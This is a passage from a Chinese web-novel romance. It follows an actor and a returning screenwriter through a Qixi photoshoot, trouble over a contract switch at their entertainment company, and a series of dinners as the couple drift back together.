武玉箫蹿到她的身前,将她完全挡在身后。路邱云很是遗憾地叹了一声,这么有感觉的照片居然不能用。
“那行,从刚才的第一组Pose开始重拍。”
路邱云示意助手改签机票。本来这一套已经快拍完了,姚绮突然闹着不拍了。换人,这一整套都得重拍。不过,若是眼前这暧昧的感觉,全套重拍都可以。
“从第一组开始重拍?不是说十分钟吗?”
武玉箫握紧她紧张到有些发抖的手,凑到她的耳边安慰道:“相信我,最多二十分钟就能拍完。”
“骗子。”
周夏宁甩开他的手,把生气的后背留给了他。他垂着脑袋用栀子花的花瓣触碰她旗袍上的芍药纹样。
栀子花对感情的坚持碰上“将离草”的情有所钟,写下的一定是有情人终成眷属的圆满诗篇。
失落,不安,害怕,期待……不同的情绪在武玉箫的身上流动,周夏宁不知发生了什么事儿,只知闪光灯在不停闪,搭在她后背上的花就像无边大海里的浮板,让她心安。
“好,就是这种感觉。下一套。"
这才刚过五分钟,拍摄顺利得让服装师难以置信。她赶紧凑上去引着周夏宁去换了下一套旗袍。
这旗袍的亮点是侧腰处的鸢尾花盘扣,周夏宁像吉娃娃一般被服装师摆弄着。再出现在武玉箫身前,她高高盘起的头发散落肩头,鸢尾发带裹着三股麻花辫,将热烈的思念藏于花心。
两人身上衣服的设计亮点都在侧腰处,周夏宁对着镜头笑问道:“能只拍衣服吗?”
她说话的时候,鸢尾花的花瓣出现在她的下巴尖,她侧头轻笑,花瓣遮住她大半面容,只露出她含情的眉眼。武玉箫一脸迷恋地看着在鸢尾花里笑得明艳的她,眼里不自觉染上一层雾气。
这组的主题是:紫艳双纷翻,香心不可拾。(《题紫蝴蝶花》明孙继皋)
鸢尾又名“祝英台花”,梁祝幻蝶终成悲,情有独钟泪相随。
闪光灯一顿乱闪,周夏宁回过神来的时候,她又被推去换了第三套衣服。这拍摄顺利得让服装师误以为她在梦里。
路邱云是圈内公认的神经刀,拍不到他想要的感觉,他会不停地折磨模特,姚绮就是这样被他折磨得罢拍的。
武玉箫需要补妆,周夏宁换完衣服安静地站在镜头前。路邱云拿着相机在她身边走来走去,找最佳的拍摄角度。这套衣服的亮点是身后的并蒂莲花。
原定的拍摄方案是拥吻,可是武玉箫在第一次开碰头会的时候就表明不拍Kiss。出道这些年,他连荧屏初吻都没有,不知道的还以为他后台很硬。
镜头里的人突然变得局促不安,路邱云将镜头一转,一个拿着荷花的帅气男子出现在画面中。原来她的局促不安不是因为拍摄,而是因为和他一起拍。
两人暧昧的模样,像极了热恋中的情侣。
“大明星,用最初的拍摄方案怎样?”
武玉箫的眼里有瞬间的犹疑,在拍摄现场吻她,她不会反抗,可她会不会一气之下跑回LA,就不得而知了。在公司通讯录上磨了她一周,他也没有要到她的联系方式。
“什么方案?”
周夏宁的视线落在他的锁骨上,不自觉地想入非非。他这什么毛病,老不扣好衣服扣子。武玉箫顺着她的视线看去,手自动抚上领口。他怕她等久了,刚补完妆就跑出来了。这扣子拍的时候是要扣好的。
他弯下腰凑到她的耳边,一本正经道:“系扣子的方案。”
“你们真会定方案,这盘扣这么难系,当女模特是服装师呢。”
周夏宁弯腰凑到他的胸口处,盯着盘扣看了数秒,武玉箫的脸红到了耳根处,她的长发随风而舞,温柔而坚定的眼神在交缠的并蒂莲下诉说着无声爱意。
试了三五次之后,周夏宁终于系好了那个盘扣,她兴奋地抬头,湿热的唇在不经意间从他的喉结处擦过,他俩均是一愣,但都忘了推开对方。
“他不是不接受肢体触碰吗?这是什么?”
刁蛮大小姐的吵闹声刺激着周夏宁的神经,她慌乱地转头,不巧,这时他也撇过脑袋,两人的薄唇轻轻相碰。片刻之后,他们拉开了距离,可身上都沾染了彼此的气息。
“意外。”
周夏宁镇静地对上来人愤怒的目光。她的声音不大,却足以让在场所有人都听见。
“这一套还要继续拍吗?”
周夏宁看向路邱云,他点点头,示意两人靠近一些。武玉箫站在原地不敢动,姚绮疯起来做事不顾后果,他怕她报复她。
周夏宁轻笑着向他逼近,他犹豫地向后退了两步。他的余光一直落在姚绮身上,他不想刺激她。
周夏宁被他的反应激得怒气上涌。装可怜来让她心软,却又顾虑着另一个女孩儿的感受。这是因为不满她甩了他,所以想装乖招惹她,等重新追到手了,再狠狠地甩了她?
装可怜就是他的报复计划中的一环?
男人两行泪,演到你心碎。
“你还拍不拍?不拍我回公司了。”
周夏宁突然转身,武玉箫一个箭步蹿上去,拉住她的衣角。她用烦燥的眼神盯着他,他怯弱地低头,但不愿意放手,“她很疯,我怕她找你麻烦。”
“那你刚才向我提要求的时候,怎么没有考虑到这一层?”
周夏宁气愤地拍掉他的手,疾步向前走。她决绝的样子,和三年前在机场的时候一样。那个时候,她分明看到他了,可还是毫不犹豫地进了候机厅。
他受不了再被她如此无视,他快速跑过去将她从身后抱住。他的手止不住地颤抖,周夏宁冷道:“放手。”
“她已经走了,我没想到她会回来。是我的错,你打我骂我同我吵都可以,能不能不要不理我。我只是想和你拍组七夕的写真。你走的时候把所有的相册都带走了,一张照片都没有留给我。”
滚烫的热泪落在周夏宁的脖颈处,她的心
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猛地抽痛。她回国后,他似乎成了泪串子,见面必落泪。
“我真的得回公司了。两点还有会。”
周夏宁的手覆在他的手上,却没有力气将他推开。她就不该信那该死的小道消息,向他开口。
“好,这一组过了。收工。”
路邱云满意地看着相机里的画面,挣扎着的拥抱远比迷恋的拥吻来得有情感张力。
“拍完了,可以放手了吗?"
周夏宁语气缓和了几分,武玉箫委屈地将脑袋埋进她的颈窝,闷声问道:“陪我吃了午餐再走,好吗?”
周夏宁不知该如何拒绝,他如果又哭了,她要如何哄他?
“武玉箫,你给我解释清楚《霜落枫桥》是怎么回事?耍我很好玩吗?”
看到两人交缠的身影,袁栎气不打一处来。他就不能有点儿出息,三年了,还是一个只要姐姐勾勾手就会不管不顾扑过去的恋爱脑。
“不要告诉我,你是因为她改变的主意。”
袁栎气闷地将两人分开,一脚踹在了武玉箫的身上。他没有躲,任她将他踹到地上。
“恋爱脑,你非要死在她手上才甘心吗?”
武玉箫理亏地低下头,她说的他都明白。只是如果真要选一个死法,他希望死在她手上。
武玉箫抬眸盯着袁栎的眼睛,认真地说道:“对不起,我还是没法不爱她。”
袁栎被气得许久憋不出一个字来。
“就这么爱吗?”
戏谑的声音从身后飘来,周夏宁愣了三秒,来的是A约部的考评负责人艾彬。他身后跟了两个保镖,周夏宁见状护在了武玉箫的身前,警惕地问道:“要对他做什么?”
“打包进组。陆老板说了艺人恋爱脑就是工作强度没上去。你在陵城这段时间,他需要忙起来,脑子才不会坏掉。”
“只是这样?”
艾彬八卦的目光在两人身上逡巡,虽说旧情复燃只是时间问题,但现在两人还没有发展到需要惊动恋爱监察组的地步。
“武玉箫,胡闹也要有个限度。《霜落枫桥》的本子给你的时候,你拒了。现在人员名单全定好了,还有半月就开机了,你又同意了。你让《桃源绮梦》制作人的脸面往哪儿搁?投资部的投诉邮件已经到陆老板那儿了,你等着收罚单吧。”
武玉箫没有辩解,他答应的时候就想到了这点。不过就是业绩指标上浮三到五个点,她不答应和他复合,合约到期了他还是会和公司续约,业绩指标涨不涨没什么区别。
一辆银灰色的SUV在路边停下,艾彬摆摆手,保镖一左一右地将武玉箫困住,他乖乖地跟着他们上了车。
“只是进组为什么要跟保镖?”周夏宁担心道。
“陆老板要求的。不满,你同陆老板说理去。”
他拉开车门上了副驾,车启动之时,周夏宁冲了过去。她把一盒糕点塞到武玉箫的手中,说道:“好好吃饭,现在太瘦了。”
窗外的景物渐渐倒移,她的身影逐渐在视线中模糊,然后消失不见。他打开糕点盒子,塞了一小块糕点到嘴里,芍药的味道在唇齿间弥散。离别之时送芍药花饼真是应景,将离草送将离之人,她是不是巴不得他早点儿离开陵城,不要缠着她。
他失落地看着糕点盒子,嘴里的糕点突然变得异常苦涩。此时,汽车突然急刹,一张贺卡从盒子里飞了出来。
娟秀的字迹映入眼帘。他一眼就认出了她的笔迹。
贺卡上写着:分别是为了更好的重逢,后会有期。
原来,她也有期待与他的再次相见。
武玉箫落到低谷的心情,一下跃到了天堂。刚才她好像说他太瘦来着,他要学着好好吃饭,多长点肉。她把他的皮囊看顺眼了,也许就不会那么快回LA了。
9. 桂花年糕
丰亿大厦1206,总经理办公室。
茉莉花的香气在空气中弥散,周夏宁不安地坐在价值不菲的紫檀红木沙发上,茉莉香线在窗台上默默燃烧,装着香线的炉子是一月前在“玖铭”慈善拍卖会上拍出一千五百万高价的“思渝”瓷炉。
实木地板上铺着浅灰色的羊毛地毯,地毯上的每根羊毛都在无声诉说着地毯主人的财大气粗。桌上摆放的茶具是瓷器大师黄盛礼的封炉之作,墙上的荷塘水墨画是国画大师万初悦的复出之作。墙角的柜子上,放着一排排Q版的亿星A级艺人陶瓷手办。
三年没有来这间办公室,办公室里的摆件,单从市场价上就已经翻了不只三倍。柜子里的手办,从当初的一排五个,变成了如今的一排九个。
这位陆老板着实是商业奇才,三年不在亿星总经理的位置上,亿星的业绩不仅在行业里一骑绝尘,还达到了让其他同行难以望其项背的高度。
生意做得越大,公司就越重视员工对规章制度的遵守程度。武玉箫能有今天的成就,少不得这位大老板的慧眼识珠和慷慨相助。
只是,他不喜欢恋爱脑又不听话的艺人。他能够把武玉箫推到这个高位,也能轻易地毁掉他。
周夏宁看着柜子里拿着双棍的陶瓷娃娃,心七上八下地跳着。他走到今天很不容易,推着他走到今天这个位置的幕后工作人员更不容易,她不能让他们之间的感情纠纷毁了这么多人的心血。
《霜落枫桥》这个本子很适合武玉箫,他刚出道就一直和她捆绑着演校园推理悬疑剧,这一捆绑就是近三年,一直到他过了二十岁,他经纪人要求他磨练演技,准备转型。
这种类型的本子,他驾轻就熟,人设与他本人的重合度很高。加上这五六年的演技打磨,重新回到演技舒适圈会让他的演绎事业更上一层楼。
以陆老板的商业眼光,他不可能看不到这一点儿。现在的问题是,武玉箫因为恋爱脑在《霜落枫桥》和《桃源绮梦》都快开机的时候,锁定了《霜落枫桥》,让《桃源绮梦》风雨飘摇。
《桃源绮梦》的制作方给夜荷发了律师函。夜荷法务受理后,夜荷总经理办公室、繁星经纪投资部、亿星经纪部联合给亿星总经理办公室发了投诉邮件,将这次换本定性为S级工作事故。
除了《桃源绮梦》的违约赔偿,《霜落枫桥》的收益率指标会上浮150%,如果他达不到上浮后的业绩指标,他会面临长达一年的停工处罚,并且合约向后顺延三年。
他当真是恋爱脑,她还以为他只是口头说说,但凡他把这事儿告诉了袁栎,她都能找一堆客观理由来回绝姜绮闻。他怕是知道袁栎不会放任他胡来,才自己在系统里走了剧本更换流程。
“怎么,我不过是让艾彬带保镖把他送去《零息》剧组,你就心疼了。”
温润的声音从门外飘来,一道温柔的长影晃到屋里。来人上身套着深蓝色的棉麻衬衫,腿上裹着松垮垮的运动裤,脚上踩着超市里十块钱一双的塑胶拖鞋,他眼里全是红血色丝,唇边胡茬冒尖,看起来像是街边小巷里打了通宵麻将回屋补觉的杂货铺老板。
生意做大以后,他的打扮越发亲民随性。周夏宁心头一紧,眼前这个男人很危险。他的眼睛有看穿一切事物本质的透视能力。
“心疼男人倒霉一辈子。当年他把自己糟践得从威亚上摔下来,命悬一线我都没有心软,现在又怎么会心疼。”
在他的面前,不能表露出一丝的情义。在商言商,掺杂了感情,对方就能随意抬价。
陆扉辰凌厉的目光从她的身上扫过,她眼中来不及藏匿的深情被他尽收眼底。有些话只能骗骗自己,明眼人一看就知道他们之间,缘未尽,情未了。
“《明汐》的七夕特辑是《零息》那边为了炒CP,给过来的资源。今天武玉箫把资方小公主得罪了,我找保镖过去给他挡桃花。他在剧组坚持不拍吻戏,不拍亲密戏,资方小公主早就对他不满了。人家买这版权,就是为了调戏他。”
这话不假,却也不是故事的全貌。《零息》这个项目是签了不轧戏保证书的,项目周期在一个月。本来十天前武玉箫就该杀青,但是姚绮老是欺负他,导演想让两人分开拍,这剩余的戏就拖了下来。
《桃源绮梦》那边本已同意延期半月再开机,等武玉箫把《零息》拍完。可谁都没料到,他会突然罢演。
《桃源绮梦》的赞助都是冲武玉箫去的,他来这么一出,很有可能让这项目直接流产。易云安现在正攒着一肚子气儿往丰亿大厦赶。
陆扉辰打起太极拳来,周夏宁是真的招架不住。话说了一堆,没有透露一点儿关于《桃源绮梦》的消息。
若是《桃源绮梦》的制作方愿意撤销投诉,这次的换本就会被定性为亿星的B级内部违规,他最多被罚去福利院做满一百小时的义工。
《桃源绮梦》是夜荷的B3级项目,她有承制权。她可以指定演员,可以去协调资源,让项目正常运转,
只是……
要做这些,她必须激活她在夜荷的账号。
“听说轻荷最近在谈恋爱,傅氏娱乐那边的约稿他全部都拒绝了。”
陆扉辰轻笑着给她倒了一杯热茶,她看他这举动,便知他对这话题很感兴趣。
“姜曲颜的PK赛,最少要打三个月。我闲着也是闲着,轻荷手上不要的工作,陆老板你看哪个比较适合我?”
这就是陆扉辰在等的问题。
“我可不敢和姜云涛抢人。他去赵清妍那边告我的状,她少不得约我出去吃饭,然后傅司渝就会醋劲大发。最近赵清妍身边跟了一群年轻男模,他追着她跑,什么龙套角色都接。赵清妍嫌他烦,想给他找点儿事儿做,在轻荷那儿挂了《双云记》的改编单。”
星组挂单保密级至少A2,接了这个单,她得一直留在陵城,直到稿件最终过审。这样一来,她至少要在这儿待半年。
他如果一直来纠缠她,她真的能够一点儿都不动摇吗?
周夏宁盯着杯子里冒着热气儿的茶,想了许久。
突然,她长叹一声,抬头看着陆扉辰,坚定地说道:“姜老板手下能人很多,少我一个不少。姜家的委托还没完成,我送佛送到西,陪她打完PK赛。这段时间,就麻烦陆总激活我在15楼的权限,给我介绍工作了。”
她还是不忍心对他见死不救。事情因她而起,她有责任收拾这个烂摊子。
“你是想以什么身份开这个权限。‘半夏汀兰’还是‘冰夏’。”
陆扉辰眼神犀利,周夏宁突然紧张到大脑一片空白。周身的空气一时间比高原雪山上的空气更加稀薄。
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>“半夏汀兰”有股东权限,可以拿到很多“冰夏”账号拿不到的资源。只是,她用了这个号,武玉箫很可能会以陪侍的身份被艾彬推到她的身边。
他现在脑子很不清醒,说不定头脑一热真的会为了挽回她,自愿做她的陪侍,陪吃陪玩陪睡。
“‘半夏汀兰’不是我一个人的,还是用‘冰夏’吧。”
当年她离开的时候,这个账号被封存了,激活需要接A2项目。当年没有越过的坎,现在又重新出现在她面前。
“我知道了,我会通知景枫。如果你对《桃源绮梦》这个项目有兴趣,晚上七点,拿着你的协调方案去17楼的会议室,过时不候。”
这是给机会的意思。周夏宁暗自松了口气儿。在茶完全冷下来之前,将杯中的茶一饮而尽。喝了陆老板的茶,就要为他的商业帝国开疆扩土,这是不成文的规矩。
庆幸的是,这位大老板尊重才华、尊重每一个在亿星努力工作的人。
“我会处理好我和他的感情问题,还请公司不要太为难他。”
临走时,周夏宁还是忍不住多说了这一句。陆扉辰似乎在等她开这个口,笑道:“公司再怎么为难他,他也没向公司低头过。你不为难他才是真的。世事无常,当心哪天你想回头的时候,老天不给你机会了。”
周夏宁眼神微暗,这句忠告,他是真心的。三年多前,他的妻子在绑架案中失联,他一直在找她,可是一直没有消息。
他们当时很相爱,只是老天没有给他们继续爱下去的机会。如果有一天,武玉箫也这样从她的生活里完全消失,也许她会做出比这位大老板当年更过激的行为。
“这半年,我会给他机会,也给我自己机会。”周夏宁释怀道。
和这个男人相比,她是幸运的。在分别的日子里,她知道他还活着,知道他的身边有一群爱他的朋友。只要她想他,她就能在各大主流媒体上见到他。他们之间的缘分,一直没有断。
总助此时敲门进来,将一张黏着桂花糖炒年糕橡胶图案的电磁卡递给了她。这是她之前在夜荷15楼工作时的账号卡。
“祝你好运。”
陆扉辰摆摆手,示意她离开。周夏宁跟着总助去了IT部,账号解冻的流程走了一个多小时。账号图标从灰色变亮的那一瞬间,她红了眼,当初上交账号的时候,她没有想过她还会有回来的一天。她迫不及待地冲去十五楼。那里有她许久未见的朋友。
丰亿大厦15楼。
现在是工作时间,可是里面空荡荡的。周夏宁探头探脑地在大厅里晃了晃,她的工位在西边临窗的位置。她转身的瞬间,彩带突然从天而降,热腾腾的桂花糖炒年糕被端到了她的面前。
“欢迎回来。”
这是每一个回归夜荷15楼作家都会享受的欢迎仪式。一束茉莉花被塞到了她的手上,递花的人是轻荷,当年离开的时候送她花的也是他。时间在这个空间里似乎没有留下它的痕迹,一切似乎都和原来一样,但又不一样。
她的工位从PK组换到了流线组。从流动工位走到固定工位的这几步,她足足走了快四年。终于她在外面走了一堆弯路之后,又走回来了。
桂花糖炒年糕,阖家团圆年年高。
重新回到这里,断掉的故事会开启怎样的新篇章?
10. 橘子茶糕
凌雪大厦,朱砂梅林。
浸染着思念的梅花叶随风飞舞。在空中转了数圈的许愿币,与它在不经意间相撞,将它压到许愿池池底。
武玉箫闭着双眼,双手合十,虔诚地向沉睡在这池中的花神许愿,祈祷在赶机之前能够见周夏宁一面,哪怕见面只说两句话。
被押去《零息》剧组之后,他的手机就被艾彬收走了。在剧组里,他一直在等公司的处罚通知。可是两周过去了,他的角色都杀青了,公司那边依旧没有动静。
在杀青宴上,保镖把手机还给了他,他才知道他被带走的那晚,她给他发了消息约他出来吃饭。
她是用公司内部通讯录给他发的消息,离开了公司内网,他联系不上她。他在公司等了她一下午,可是她没有按照原定的计划在五点左右回公司。
他打听到她在傅氏娱乐开会,便来这里蹲点。许愿池正对着凌雪大厦的正门,她若是出来,一定能够第一眼就看见他。
他是凌晨的飞机,公司给他安排了一个客串的杀手角色,拍摄地在巴黎郊区的一个废旧工厂里。接下来的一周,他要留在巴黎给赵清妍的新品服装发布会走秀,拍样衣展示照。
这是突然插进来的行程,不过,系统里这些行程报价都为零。大概率这些工作就是公司给过来的处罚。
他本来已经做好了被余芷大骂半个月的心理准备,可LA疗养院那边出奇的安静。手下的艺人出了S级工作事故,系统会自动给经纪人发红牌预警邮件。她不可能不知道。
“刚才温蕴发消息说有个可怜小奶狗在许愿池旁边等我,原来是你啊。”
轻快的声音伴着池中漾起的涟漪甜到了他的心坎里。他兴奋地迎了过去,想要热烈地拥抱她,可是她身后还站着一个人,一个西装革履的男人。他的视线固定在她身上,显然是在等她。
“你不是说请我吃饭吗?”
她手里提着包,这是工作结束要离开的意思。
“可是我今晚有约了。”
周夏宁故意为难地看了眼身后的易云安,他们今晚本来有约,可是他公司有会,她正巧时间空了出来。两周没有回她的消息,现在来找她约饭,她可不是这么好约的。
“那我请你们吃饭,当做没有回你消息的赔罪。或者,你们吃完饭,我再来找你。我十点要去机场,在那之前,给我五分钟时间好不好。我带了你喜欢的石榴水晶糕。”
他手上拎着“禾记”的礼品袋,这是到店客人专用的打包袋。这家是网红店,人流少的时候,排队也得排上三五分钟。
他裹着长发,框着黑框眼镜,耳朵上挂着助听器,这副打扮同那天在咖啡馆做咖啡师时无甚两样。那天他在咖啡馆晃荡了一整天,都没有粉丝把他认出来,想来在“禾记”也没人将他认出来。
“你确定你请吃饭?”
周夏宁的目光在他的身上来回逡巡。他们交往的时候几乎没有去过街边的餐馆,他总是会被粉丝认出来,给餐馆老板带来麻烦。她想吃什么,几乎都是他在家里对着视频学着做的。
他这副模样,去餐馆溜一圈,应该不会有问题吧。邱远衡推荐的广式茶餐厅就在附近,那里的虾饺着实不错。他吃不了红肉,但海鲜还是可以吃两口的。
易云安等了许久也不见周夏宁过去,便主动走了过来。他刚一靠近她,他就觉得周身有看不见的利剑悬在他的脑袋上。只要他对她做出什么亲昵举动,那剑就会自动落下。
“还没有聊完吗?那我……”
“他说要请客,给你打包二十份‘依云茶餐厅’的A套餐回去,当做赔罪礼。还附赠亲笔签名。”
易云安盯着眼前这长发男子看了许久,周夏宁手中拿着的是武玉箫的明信片。《桃源绮梦》换角的事情闹得他公司全员加了近半个月的班。光凭二十份套餐就想打发他们,想得美。
“二十份亲笔签名可不够。让他把你手上的全签了。”
这一沓明信片至少有五百张。大明星哪有时间亲手签这么多?
“这可不行,公司有规定,除非签售会,艺人的散签不能超过三十份。”
这是亿星的明文规定,易云安也知道。
“那便宜他了。听说‘禾记’的水晶柿子糕不错,能一起送过来就好了。”
易云安妥协了。武玉箫还要在《桃源绮梦》客串角色,争一时气,坏一盘棋。亿星那边态度很强硬,坚持自家艺人优先自家投资的剧,时安投资如果不接受协调方案,亿星就按照合约进行赔偿。
但是《桃源绮梦》前期筹划进度比预期慢很多,在双方都有违约的前提下,对簿公堂,公司最多只能收到不到一百万的违约金。这和前期的投入相比,简直杯水车薪。
“易总,那我陪他去订餐了。明天,亿星见。”
易云安轻叹一声,对上周夏宁的笑颜,他的怒气自动消散。她是上天给他送来的救星,若不是她出面搭桥,傅氏娱乐也不会答应投这剧。虽说不太满意傅天兴那个大少爷演男主,但也只有他能够在组里和姚绮那个大小姐互怼。
只有魔法才能打败魔法。
这样一想,他这个小投资公司也算是因祸得福了。
“那麻烦你了。改天请你吃饭。”
易云安的声音格外温柔,周夏宁全身汗毛直竖。急脾气突然转性,怕不是要刺激谁。她抬眸,余光所到之处都溢满了莫名的醋味。
飘逸的长发遮掩不了他眼中浓烈的妒意。他只静静地站在那儿,易云安也能轻易看出他对她情根深种。
“果然是恋爱脑。”
易云安突然就释怀了。坠入爱河的人都是傻子,他同一个傻子计较什么。他轻叹一声,径直去了停车场。
他这么轻易就翻篇了,周夏宁着实意外。这两周,他几乎都没合眼。这个项目如果运转不下来,等待他的就是倾家荡产也还不完的债务。他的妻子快临产了,这压力,当真不是常人能背的。
“当老板的就是不一样,胸襟比海还宽广。”周夏宁叹道。
“和陆老板比差多了。”
周夏宁的身前出现了一个高大身躯,他不满地嘟嘴,故意挡住她的视线。那个人手上戴着婚戒,这样的人不值得她多看一眼。
她的鱼塘里可以有很多鱼,但是那条鱼不能是别的鱼塘里偷渡过来的。她可以不选他,但是她选的不能比他还差。
周夏宁对上他炙热的视线,心“砰砰”乱跳。他的脸上长了点儿肉,不再是皮包骨的样子。
她的手不自觉地抚上了他的脸颊。他的眉梢处有一道划痕,伤口很浅,但是很长。
“拍戏的时候伤的?”
周夏宁有些心疼。武打演员拍戏受伤是家常便饭,可她就是见不得他受伤。
他盯着她的眼睛,小心翼翼地握住她的手,让她的整个手掌都覆在他的脸颊上。
“杀青之前最后一场戏,在树林里被树枝划伤的。”武玉箫避重就轻道。
那场戏,有人在他的保护装置上做了手脚。幸亏,和他对戏的演员身体不舒服,没有按照预定线路跑到高台上,他只是在树林里和他对打的时候被飞来的树枝划伤了。
“充充电,它很快就会愈合。”
他闭着眼睛,歪头在她的掌心处乱蹭。这模样像极了找主人求摸头的大狗狗。周夏宁狠不下心来甩开他的手,便由他胡来。
交往的时候,他从来没有这样对她撒娇过。他老是想装大人,想抹平他们之间三岁的年龄差。分手了,倒是想着法地当求收留的宠物狗。
“我饿了。你到底要不要请我吃饭。”
周夏宁反握住他的手,他掌心的温度,还是那样让她留念。她听到了心墙裂开的声音,看到了他们在不久的将来十指相扣在大街上轧马路的画面。她的理智在脑子里叫嚣:离他远点儿,她的身体却自己做出了选择。
她想见他,想牵他的手,想独占他掌心的温度。
武玉箫在她的眼中看到了除了歉疚以外的情绪。他目不转睛地盯着她,渐渐拉近他与她的距离,他不敢眨眼,不敢错过她眼中稍纵即逝的情绪。
“走不走?”
周夏宁突然甩开他的手。他的唇看起来很诱人,他再靠近一点儿,她怕是要踮着
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脚亲上去了。上次亲过之后,觉得它很柔很软,很好亲。
“走。只去茶餐厅吗?我记得你很喜欢这附近的川菜店。我们去吃跷脚牛肉。”
武玉箫在脑海中搜索以前同她去过的店。他二十岁之前,他们经常去吃路边摊,只是这么多年过去了,他们经常光顾的店,很多都关门了。
“你又不吃肉。我一个人干一桌子菜?那个茶餐厅的橘子茶糕很好吃,我喜欢。”
原来她选的是她喜欢的店。武玉箫跟在她的身后,沿着街道一路向前走,这条路若是一直没有尽头该多好。
依云茶餐厅。
饭点过后,店里几乎没有客人。周夏宁找了个角落的位置坐下,她正看菜单的时候,店里的小姑娘端着一盘橘子茶糕走过来。
“这是您的橘子茶糕,请问二十份A套餐需要送到哪个地方?”
周夏宁疑惑地看向对面的人儿,他刚才走路的时候一直盯着手机,原来是在下单。
“徐淮路辉明大厦0906。”
“好的,马上为您配送。”
武玉箫的手指在手机上飞舞,周夏宁抓住他的手腕,将手机屏幕侧了过来,不出她所料,他正在写“禾记”外卖的配送地址。
“请客动作这么快?你钱是大风刮来的?”周夏宁抱怨道。
她可没指望让他买单,不过是随口逗逗他。这属于招待费,她拿着发票是可以回公司报销的。刚才在易云安面前那样说,不过是想在他那儿给他刷回点儿好感。他请她吃饭就可以了。
“给你花钱的机会可不多。”
他主动把一块茶糕切了三分之一下来,放进他的嘴里。这是他们以前吃甜食的习惯。她吃三分之二,他吃三分之一。
他不喜欢甜食,但是他想要尝试所有她喜欢的东西。
“你那么崇拜陆老板,怎么他反复强调‘恋爱脑会倒八辈子霉’,你愣是没听进去?”
周夏宁轻叹着将他切下来的茶糕放进嘴里,这明明是甜的,为什么嘴里尽是酸味?他不喜欢吃橘子,几乎到了生理性厌恶的地步。
“当年若不是你恋爱脑和我捆绑了近四年,把我推到了三线,我的发展不可能这么顺。如果我因为恋爱脑死在你手上,我也认了。”
他们之间不只有男女之情,还有切不断的革命友情。在他们共同打循环的一年里,他都会被她用编剧的优先权锁定。那时他们素未相识,同期的人都说,她是因为看上他了,才放弃更好的,选了不起眼的他。
如果不是她恋爱脑,他当时怎么可能会有拍那校园三部曲的机会。那可是亿星的A级项目。他当时的定级连男三号都够不上。
“那些机会都是……”
周夏宁想告诉他,那是他凭实力争取来的。可是,她的嘴里突然被塞了一块茶糕。他的脸在她的眼前放大,在她的注目下,他轻轻咬下剩余的茶糕。她紧张得拽紧衣角,心跳快得让她难以忍受。
他的唇在橘色糕点下更显诱人,她的理智在那一刻坍塌,她闭上眼,顺势吻了上去。他惊讶地瞪大双眼,欺身上去,想要加深那个吻。她突然将他推开,镇静地笑道:“意外。这茶糕有点儿酸。我们吃虾饺吧。”
话题就这样被她岔开。店里上餐很快,她低头干饭,他找不到插话的时机。这次她没有同他客气,主动打发他去前台结账。等他回去找她的时候,座位上已没有她的人影。
他慌张地跑出店里,看到她在路边刷手机,悄然松了口气儿。
“车来了。一路平安。”
话音未落,一辆计程车停在了路边。周夏宁不由分说地将他塞进了车里,他手上“禾记”的袋子,被她顺了过去。
“下次你见面,我请你吃饭。”
车门被她强行关上,车应声启动,看着她的身影在后视镜里越来越远,他不满地嘀咕道:“时间还早,明明还可以再一起散个步。”
不过她刚才好像说下次见面要请他吃饭。他翻看起手机里的行程表。在《霜落枫桥》进组之前,他还能空一个下午出来。就让助理买那天回程的机票吧。正巧那天是七夕。
11. 紫芋奶糕
丰亿大厦15楼。
孤灯之下,“嗒嗒”作响的键盘在空白文档上敲出密密麻麻的文字,再次见底的咖啡杯无声控诉着无良老板的黑心压榨。
“啪。”
发麻的手臂狠狠地压在键盘上,愤怒的句号自动在文档上无限延长。截稿期在明早八点,这一版稿在临近下班的时候被陆扉辰亲自退回。
他最近很奇怪,每到晚上八九点就会来15楼的隔间,一待就是一整宿。轻荷拒接的恒业的委托稿,他亲自接了。
在公司加班的小伙伴不想和他打照面,能在他来之前溜走的都回家了,就只剩她这个被截稿期追着回不了家的小可怜。
他也奇怪,明明自己也写,为什么非得一次性把她的工作加这么满?
《双云记》的改编,《桃源绮梦》的协调,《解忧咖啡馆》的PK本审核,还有一个A级投资的原创剧本。陆扉辰真当她是轻荷那个皮卡丘牌打字机,充电五分钟,打字五十个小时?
今天七夕,轻荷不到四点就早退了。他在朋友圈里发他做的西湖醉鱼、糖醋排骨、干锅花菜、烤羊排……还有他捧在手里怕碎了的女朋友的背影。
看到照片,她才有一种单身狗终于脱单的实感。七夕是属于情侣的节日,她和那个隔间里的大老板,都是单身狗,就只能看着别人撒狗粮了。
那个大老板白天开会,夜里码字,走得比她晚,来得比她早,打的还是白工,这样一想,她好像也没有那么烦这个黑心老板了。
老板自己都这么卷,跟着他干,也得卷起来。
周夏宁深吸一口气儿,去茶水间泡咖啡。稿子还剩最后十页,过完就可以去见周公了。
她疲惫地打了个哈欠,到底年纪上去了,三年前这样连续转一两个月,她都没这么烦躁过。
“怎么还没走?不是有约吗?”
温润的声音像幽灵一般从身后飘来,周夏宁不由得打了个冷颤。她揉了揉发痛的太阳穴,一点儿都记不起她今晚有约。
“武玉箫今天推了酒会,我还以为他回来找你了。”
陆扉辰从冰箱里拿了一盒曲奇,便自行离开。他还是那副杂货店老板的装扮,脚上的拖鞋一黄一蓝,不知这是什么新时尚。
在这个空间里,他就是一个很普通的夜荷作家。没有一点儿老板架子,和记忆中的模样不大一样,周夏宁有些意外。
“你最好确认一下你的通讯信息。《霜落枫桥》的开机仪式在明早九点,转告那个恋爱脑别迟到了。”
周夏宁很是奇怪,他似乎笃定武玉箫来找她了。她的通讯录上,没有未读信息。但这是她“冰夏”的账号。武玉箫并不知道她原来的作家号重启了,他能联系到她的只有“半夏汀兰”的号。
她赶紧切换账号,上面有上百条未读信息。
最后一条是:我在“川云”等你。你说过要请我吃饭的。不能反悔。我会一直等你,直到你过来。
现在已经快九点了,“川云”是公司附近的店,大概十分钟就能过去。她匆忙关了电脑,飞速往店里跑。
这一周内,他托人用他的号给她发了上百条消息,但是她一条都没有回复。饶是这样,他还是工作一结束就回来找她。
“川云”的位置很难约,他怕是托轻荷帮他约的。难怪他早退的时候问她什么时候回去。
川云火锅店。
尽管过了九点,店里还是挤满了客人。在临窗的角落里,武玉箫失落地看着手机。他最晚十点半就要动身去机场。
连续一周,她都没有回他的消息。她狠心的程度和三年前一模一样。那个时候他给她发了上百封邮件,求她给他一个见面将问题说清楚的机会,她也是一封都没有回复。
“狠心的女人。”
武玉箫不禁嘲笑自己的天真。她不过是在不经意间触碰了他的唇,他怎敢认为她对他的皮囊动了心。
“朝朝。”
惊慌的声音穿过人群落到武玉箫的耳里,他以为自己听错了。
“夏朝朝。”
